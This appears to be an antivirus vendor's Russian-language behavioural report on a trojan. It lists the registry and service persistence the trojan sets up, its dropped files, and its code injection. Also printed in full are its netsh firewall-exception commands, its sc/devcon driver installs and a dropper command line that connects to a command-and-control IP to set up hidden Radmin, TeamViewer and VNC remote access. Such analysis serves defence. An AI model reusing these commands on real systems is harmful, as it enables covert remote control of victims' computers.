Trojan.Inject3.28950

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие сервисы

[<HKLM>\System\CurrentControlSet\Services\mirrorv3] 'Start' = '00000001'
[<HKLM>\System\CurrentControlSet\Services\mirrorv3] 'ImagePath' = 'system32\DRIVERS\rminiv3.sys'
[<HKLM>\System\CurrentControlSet\Services\Rserver3] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\Rserver3] 'ImagePath' = '<SYSTEM32>\rserver30\RServer3.exe /service'
[<HKLM>\System\CurrentControlSet\Services\raddrvv3] 'Start' = '00000001'
[<HKLM>\System\CurrentControlSet\Services\raddrvv3] 'ImagePath' = '<SYSTEM32>\rserver30\raddrvv3.sys'
[<HKLM>\System\CurrentControlSet\Services\YService] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\YService] 'ImagePath' = '<SYSTEM32>\YKJLFWD\Service.exe /ErrorStdOut -StartS'

Вредоносные функции

Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра

[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\ttvncs.exe' = '<SYSTEM32>\YKJLFWD\ttvncs.exe:*:...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe' = '<SYSTEM32>\YKJLFW...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe' = '<SYSTEM32...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe' = '<SYSTEM32...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\Service.exe' = '<SYSTEM32>\YKJLFWD\Service.exe:...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\Server.exe' = '<SYSTEM32>\YKJLFWD\Server.exe:*:...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\YKJLFWD\vpn.exe' = '<SYSTEM32>\YKJLFWD\vpn.exe:*:Enable...
[<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\rserver30\rserver3.exe' = '<SYSTEM32>\rserver30\rserver...

Запускает на исполнение

'<SYSTEM32>\net.exe' stop YService
'<SYSTEM32>\net.exe' stop YServiceRun
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe" "TTVNC" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe" "TeamViewer" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe" "TeamViewer_Desktop" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe" "TeamViewer_Service" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe" "YService" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\server.exe" "YServer" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe" "YVPN" ENABLE
'<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\rserver30\rserver3.exe" "rserver3" ENABLE

Внедряет код в

следующие пользовательские процессы:

famitrfc.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\ykwwfwd\cabs.exe
<SYSTEM32>\rserver30\rsl.exe
<SYSTEM32>\rserver30\rsetup64.exe
<SYSTEM32>\rserver30\rsetup.exe
<SYSTEM32>\rserver30\rserver3.exe
<SYSTEM32>\rserver30\rschatx.dll
<SYSTEM32>\rserver30\rsaudiox.dll
<SYSTEM32>\rserver30\rminiv3.sys
<SYSTEM32>\rserver30\rcursor.dll
<SYSTEM32>\rserver30\rchatx.dll
<SYSTEM32>\rserver30\raudiox.dll
<SYSTEM32>\rserver30\raddrvv3.sys
<SYSTEM32>\rserver30\nts64helper.dll
<SYSTEM32>\rserver30\mirrorv3.inf
<SYSTEM32>\rserver30\mirrorv3.cat
<SYSTEM32>\rserver30\vcintcx.dll
<SYSTEM32>\rserver30\firewallinstallhelper.dll
<SYSTEM32>\rserver30\famitrfc.exe
<SYSTEM32>\rserver30\famitrf2.exe
<SYSTEM32>\rserver30\fam64helper.exe
<SYSTEM32>\rserver30\chatlpcx.dll
<SYSTEM32>\rserver30\64bit.exe
<SYSTEM32>\rserver30\2052.lng_rad
<SYSTEM32>\ykjlfwd\devcon
%TEMP%\aut9.tmp
<SYSTEM32>\ykjlfwd\sc
%TEMP%\aut8.tmp
<SYSTEM32>\ykjlfwd\vncserver.exe
<SYSTEM32>\rserver30\mirrorv3.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\tv_w32.exe
<SYSTEM32>\rserver30\vcintsx.dll
%TEMP%\2768wloegpp
%TEMP%\aute.tmp
<SYSTEM32>\rserver30\radm_log.htm
<SYSTEM32>\rserver30\wsock32.dll
<SYSTEM32>\setd.tmp
<DRIVERS>\setc.tmp
%WINDIR%\inf\oem0.pnf
%WINDIR%\inf\oem0.inf
<SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem0.cat
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\unicows.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\tv.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_en.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_de.dll
%TEMP%\aut7.tmp
<SYSTEM32>\rserver30\r_sui.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\tv_x64.exe
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\tv_x64.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\tv_w32.exe
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\tv_w32.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_staticres.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_service.exe
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_resource_zhcn.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_resource_en.dll
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_desktop.exe
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer.ini
<SYSTEM32>\ykjlfwd\teamviewerv7.0.14563.0\teamviewer.exe
<SYSTEM32>\rserver30\winlpcdl2.dll
<SYSTEM32>\rserver30\winlpcdl.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\sas.exe
<SYSTEM32>\rserver30\voicex.dll
<SYSTEM32>\ykjlfwd\ttvncs.exe
%TEMP%\aut6.tmp
<SYSTEM32>\ykjlfwd\vpn.exe
%TEMP%\rserver30\famitrf2.exe
%TEMP%\rserver30\rschatx.dll
%TEMP%\rserver30\rsaudiox.dll
%TEMP%\rserver30\rminiv3.sys
%TEMP%\rserver30\rcursor.dll
%TEMP%\rserver30\rchatx.dll
%TEMP%\rserver30\raudiox.dll
%TEMP%\rserver30\raddrvv3.sys
%TEMP%\rserver30\nts64helper.dll
%TEMP%\rserver30\mirrorv3.inf
%TEMP%\rserver30\mirrorv3.dll
%TEMP%\rserver30\mirrorv3.cat
%TEMP%\rserver30\firewallinstallhelper.dll
%WINDIR%\temp\autf.tmp
%TEMP%\rserver30\rsetup.exe
%TEMP%\rserver30\fam64helper.exe
%TEMP%\rserver30\chatlpcx.dll
%TEMP%\rserver30\64bit.exe
%TEMP%\rserver30\2052.lng_rad
%TEMP%\intall2.jpg
%TEMP%\aut2.tmp
%TEMP%\3944sechsmv
%TEMP%\aut1.tmp
%TEMP%\ykwwfwd\ico.ico
%TEMP%\ykwwfwd\ykserver.exe
%TEMP%\ykwwfwd\intall1.jpg
%TEMP%\ykwwfwd\wsock32
%TEMP%\ykwwfwd\config.key
%TEMP%\rserver30\famitrfc.exe
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer.exe
%TEMP%\rserver30\rsetup64.exe
%TEMP%\rserver30\vcintcx.dll
%TEMP%\rserver30\rsl.exe
%TEMP%\aut5.tmp
<SYSTEM32>\ykjlfwd\server.exe
%TEMP%\aut4.tmp
<SYSTEM32>\ykjlfwd\service.exe
%TEMP%\aut3.tmp
<SYSTEM32>\ykjlfwd\ico.ico
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\unicows.dll
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\tv.dll
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_en.dll
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_de.dll
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\teamviewer.exe
%TEMP%\ykjlfwd\teamviewerv4.1.6911.0\sas.exe
%TEMP%\rserver30\r_sui.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\tv_x64.exe
%TEMP%\rserver30\rserver3.exe
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\tv_w32.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_staticres.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_service.exe
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_resource_zhcn.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_resource_en.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer_desktop.exe
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer.ini
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\teamviewer.exe
%TEMP%\rserver30\winlpcdl2.dll
%TEMP%\rserver30\winlpcdl.dll
%TEMP%\rserver30\voicex.dll
%TEMP%\rserver30\vcintsx.dll
%TEMP%\ykjlfwd\teamviewerv7.0.14563.0\tv_x64.dll
%WINDIR%\temp\2840wloegpp

Присваивает атрибут 'скрытый' для следующих файлов

<SYSTEM32>\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\oem0.cat

Удаляет следующие файлы

%TEMP%\aut1.tmp
%TEMP%\rserver30\vcintcx.dll
%TEMP%\rserver30\vcintsx.dll
%TEMP%\rserver30\voicex.dll
%TEMP%\rserver30\winlpcdl.dll
%TEMP%\rserver30\winlpcdl2.dll
%TEMP%\aut3.tmp
%TEMP%\aut4.tmp
%TEMP%\aut5.tmp
%TEMP%\aut6.tmp
%TEMP%\aut7.tmp
%TEMP%\aut8.tmp
%TEMP%\aut9.tmp
<SYSTEM32>\rserver30\64bit.exe
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\sas.exe
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer.exe
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_de.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\teamviewer_resource_en.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\tv.dll
<SYSTEM32>\ykjlfwd\teamviewerv4.1.6911.0\unicows.dll
%TEMP%\aute.tmp
%TEMP%\2768wloegpp
%TEMP%\rserver30\r_sui.dll
%WINDIR%\temp\autf.tmp
%TEMP%\rserver30\rsl.exe
%TEMP%\rserver30\rsetup.exe
%TEMP%\3944sechsmv
%TEMP%\aut2.tmp
%TEMP%\rserver30\64bit.exe
%TEMP%\rserver30\2052.lng_rad
%TEMP%\rserver30\chatlpcx.dll
%TEMP%\rserver30\fam64helper.exe
%TEMP%\rserver30\famitrf2.exe
%TEMP%\rserver30\famitrfc.exe
%TEMP%\rserver30\firewallinstallhelper.dll
%TEMP%\rserver30\mirrorv3.cat
%TEMP%\rserver30\mirrorv3.dll
%TEMP%\rserver30\mirrorv3.inf
%TEMP%\rserver30\nts64helper.dll
%TEMP%\rserver30\raddrvv3.sys
%TEMP%\rserver30\raudiox.dll
%TEMP%\rserver30\rchatx.dll
%TEMP%\rserver30\rcursor.dll
%TEMP%\rserver30\rminiv3.sys
%TEMP%\rserver30\rsaudiox.dll
%TEMP%\rserver30\rschatx.dll
%TEMP%\rserver30\rserver3.exe
%TEMP%\rserver30\rsetup64.exe
%WINDIR%\temp\2840wloegpp

Перемещает следующие файлы

<SYSTEM32>\ykjlfwd\sc в <SYSTEM32>\ykjlfwd\sc.exe
<SYSTEM32>\ykjlfwd\devcon в <SYSTEM32>\ykjlfwd\devcon.exe
<DRIVERS>\setc.tmp в <DRIVERS>\rminiv3.sys
<SYSTEM32>\setd.tmp в <SYSTEM32>\mirrorv3.dll

Сетевая активность

Подключается к

'11#.#9.141.187':4900

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: 'TrayNotifyWnd' WindowName: ''
ClassName: 'SysPager' WindowName: ''
ClassName: 'ToolbarWindow32' WindowName: ''

Создает и запускает на исполнение

'%TEMP%\ykwwfwd\ykserver.exe' /ErrorStdOut /zdsx:115.29.141.187:4900:60:默认组:默认单位:通用主机名 /DTMM:1::60:1 /FWDSZ::5909:1 /OPTIONS:1:0::0:1:0
'%TEMP%\ykwwfwd\cabs.exe' x -pykww-fwd -q
'<SYSTEM32>\ykjlfwd\devcon.exe' install <SYSTEM32>\rserver30\mirrorv3.inf radmin_mirror_v3
'<SYSTEM32>\ykjlfwd\sc.exe' create Rserver3 binpath= "<SYSTEM32>\rserver30\RServer3.exe /service" type= own type= interact start= auto
'%TEMP%\rserver30\rserver3.exe' /setup
'<SYSTEM32>\ykjlfwd\sc.exe' failure Rserver3 reset= 0 actions= restart/0
'<SYSTEM32>\ykjlfwd\sc.exe' config Rserver3 DisplayName= "Radmin Server V3"
'<SYSTEM32>\ykjlfwd\sc.exe' create raddrvv3 binpath= "<SYSTEM32>\rserver30\raddrvv3.sys" type= kernel start= system group= Base displayname= raddrvv3
'<SYSTEM32>\rserver30\rserver3.exe' /service
'<SYSTEM32>\rserver30\famitrfc.exe'
'<SYSTEM32>\ykjlfwd\service.exe' /ErrorStdOut -StartS
'<SYSTEM32>\ykjlfwd\sc.exe' config Rserver3 start= auto
'<SYSTEM32>\cmd.exe' /c net start raddrvv3' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe" "YService" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\server.exe" "YServer" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc create Rserver3 binpath= "<SYSTEM32>\rserver30\RServer3.exe /service" type= own type= interact start= auto' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc config Rserver3 start= auto' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c rundll32 <SYSTEM32>\rserver30\wsock32.dll ntskd noreboot' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc create raddrvv3 binpath= "<SYSTEM32>\rserver30\raddrvv3.sys" type= kernel start= system group= Base displayname= raddrvv3' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\rserver30\rserver3.exe" "rserver3" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c devcon install <SYSTEM32>\rserver30\mirrorv3.inf radmin_mirror_v3' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c net stop YService' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc config Rserver3 DisplayName= "Radmin Server V3"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c net stop YServiceRun' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe" "TeamViewer" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Server.exe"' (со скрытым окном)
'%TEMP%\ykwwfwd\cabs.exe' x -pykww-fwd -q' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe" "TeamViewer_Desktop" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe" "TTVNC" ENABLE' (со скрытым окном)
'%TEMP%\rserver30\rserver3.exe' /setup' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe" "TeamViewer_Service" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c net start Rserver3' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe" "YVPN" ENABLE' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c sc failure Rserver3 reset= 0 actions= restart/0' (со скрытым окном)
'<SYSTEM32>\ykjlfwd\service.exe' /ErrorStdOut -StartS' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c net stop YService
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe" "TeamViewer" ENABLE
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe" "TeamViewer_Desktop" ENABLE
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe" "TeamViewer_Service" ENABLE
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe" "YService" ENABLE
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\server.exe" "YServer" ENABLE
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe" "YVPN" ENABLE
'<SYSTEM32>\cmd.exe' /c devcon install <SYSTEM32>\rserver30\mirrorv3.inf radmin_mirror_v3
'<SYSTEM32>\runonce.exe' -r
'<SYSTEM32>\cmd.exe' /c sc create Rserver3 binpath= "<SYSTEM32>\rserver30\RServer3.exe /service" type= own type= interact start= auto
'<SYSTEM32>\cmd.exe' /c sc config Rserver3 DisplayName= "Radmin Server V3"
'<SYSTEM32>\cmd.exe' /c sc create raddrvv3 binpath= "<SYSTEM32>\rserver30\raddrvv3.sys" type= kernel start= system group= Base displayname= raddrvv3
'<SYSTEM32>\cmd.exe' /c sc config Rserver3 start= auto
'<SYSTEM32>\cmd.exe' /c sc failure Rserver3 reset= 0 actions= restart/0
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\rserver30\rserver3.exe" "rserver3" ENABLE
'<SYSTEM32>\cmd.exe' /c rundll32 <SYSTEM32>\rserver30\wsock32.dll ntskd noreboot
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\rserver30\wsock32.dll ntskd noreboot
'<SYSTEM32>\cmd.exe' /c net start raddrvv3
'<SYSTEM32>\cmd.exe' /c netsh firewall add allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe" "TTVNC" ENABLE
'<SYSTEM32>\net.exe' start raddrvv3
'<SYSTEM32>\net1.exe' start Rserver3
'<SYSTEM32>\cmd.exe' /c net start Rserver3
'<SYSTEM32>\net1.exe' stop YService
'<SYSTEM32>\cmd.exe' /c net stop YServiceRun
'<SYSTEM32>\net1.exe' stop YServiceRun
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Service.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Server.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\Server.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\vpn.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\ttvncs.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Desktop.exe"
'<SYSTEM32>\cmd.exe' /c netsh firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe"
'<SYSTEM32>\netsh.exe' firewall delete allowedprogram "<SYSTEM32>\YKJLFWD\TeamViewer\TeamViewer_Service.exe"
'<SYSTEM32>\net.exe' start Rserver3
'<SYSTEM32>\net1.exe' start raddrvv3

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней